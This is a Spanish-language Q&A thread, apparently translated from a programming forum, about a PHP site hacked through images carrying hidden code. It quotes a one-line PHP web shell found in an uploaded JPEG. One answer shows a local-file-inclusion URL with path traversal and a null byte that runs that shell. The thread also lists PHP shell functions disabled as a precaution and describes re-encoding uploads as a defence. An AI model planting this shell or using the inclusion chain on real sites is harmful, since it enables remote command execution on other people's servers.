texto strip_tags remove quitar para limpiar funcion etiquetas ejemplo atributo php image security upload exploit

strip_tags - Mi sitio php fue pirateado por códigos cargados como imagen...?



strip_tags wordpress (4)

Los archivos JPEG pueden contener datos arbitrarios en ellos además de los datos de imagen reales; es parte de la especificación. Por lo tanto, simplemente verificar si una imagen es un archivo JPEG válido no significa que el archivo sea necesariamente completamente inofensivo.

Ayer mi sitio estaba incluido. El atacante cambia el archivo index.php por el suyo (con todos sus mensajes de gloria y saludo). He notificado esto a la empresa de alojamiento (estamos trabajando en un servidor dedicado), y por mi parte, estoy tratando de arreglar cualquier cosa que parezca ser la causa, porque aún no puedo señalar cómo exactamente nuestro el servidor fue atacado, pero creo que he encontrado ciertas lagunas basadas en scripts que posiblemente podrían ser las culpables.

Nuestro sitio tiene un formulario de carga de imágenes, pero todas las imágenes cargadas se verifican si realmente son archivos de imagen y no algunos códigos mediante el uso de la función php getimagesize. Solo si el tipo de imagen es IMAGETYPE_GIF o IMAGETYPE_JPEG o IMAGETYPE_PNG serán aceptados. De lo contrario, no podrán subir el archivo. Sin embargo, descubrí que un archivo de imagen cargado contiene un script php dentro de él. Puedes descargar la imagen aquí . Es un archivo de imagen válido, pero intenta abrir la imagen usando cualquier editor de texto y encontrarás un código php dentro de él:

<?php echo "<pre>"; system($_GET[''cmd'']); echo "</pre>"; ?>

Por ejemplo, la imagen se carga en esta ubicación (www.mysite.com/uploads/picodes.jpg). Tenga en cuenta que el permiso de carga de carpetas es 755. ¿Hay alguna forma en el mundo en que el atacante pueda ejecutar el sistema (o cualquier otro comando como passthru, ya que descubrimos que otra imagen tiene el mismo código oculto que antes, pero en vez , tiene el comando passthru), por ejemplo, escribiendo www.mysite.com/uploads/picodes.jpg?cmd=some command ?? Por lo que sé, no se puede hacer (realmente lo agradezco si alguien puede probar que estoy equivocado), a menos que el atacante cambie el nombre del archivo jpg a php, e incluso eso, estos códigos están ocultos en el interior de la imagen (ver imagen en el interior) editor de texto para entender lo que estoy tratando de decir)

Para precauciones, he desactivado estas funciones php (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system) agregándolas a las funciones disable en php.ini.

De todos modos, todavía creo que el atacante obtiene acceso no a través de la web, sino a través de la explotación del servidor, pero creo que mi empresa de hosting piensa lo contrario.


El archivo de imagen con código PHP arbitrario no se puede explotar con una solicitud directa, por ejemplo, http://www.mysite.com/uploads/image.jpg?cmd=somecode .

Aún así, se puede usar con la vulnerabilidad de Inclusión de archivos locales.

Por ejemplo, en index.php usa include(''pages/'' . $_GET[''page''] . ''.php''); , entonces el atacante puede subir imágenes con código PHP adentro y ejecutar comandos con algo así: http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: archivo cambiado en URL a la página


Esto puede no ser una vulnerabilidad en tu código. Me pasó lo mismo hace unas semanas. Aunque TODOS mis archivos index.php fueron eliminados, incluso aquellos que no son directamente accesibles desde la web. En mi caso, fue un agujero de seguridad en Linux. No tiene nada que ver con mi código. Esta fue la respuesta de mi proveedor de alojamiento (A2Hosting) con respecto al problema. Una vez que los convencí de que no era nada de lo que hice, resolvieron las cosas bastante rápido.

"Se utilizó un exploit reciente en el kernel de Linux para otorgar acceso administrativo (raíz) a los directorios de los usuarios en el servidor. El ataque consistió en eliminar los archivos de índice encontrados en los directorios y reemplazarlos con el contenido deseado del atacante: una página web negra con el nombre del código del atacante, "iSKORPiTX (hacker turco)". Este truco fue masivo a través de Internet y usó una vulnerabilidad previamente desconocida, lo que limita nuestra capacidad para prevenirlo ".


La configuración de mi cargador de archivos de imagen es: subir archivo a la carpeta temporal, crear una nueva imagen usando imagecreatefromjpeg o imagecreatefrompng o imagecreatefromgif y guardar, eliminar el archivo cargado de la carpeta temp (todas estas cosas ocurriendo dentro de la misma acción de script, para que el archivo cargado en la carpeta temp lo haga no existe por mucho tiempo)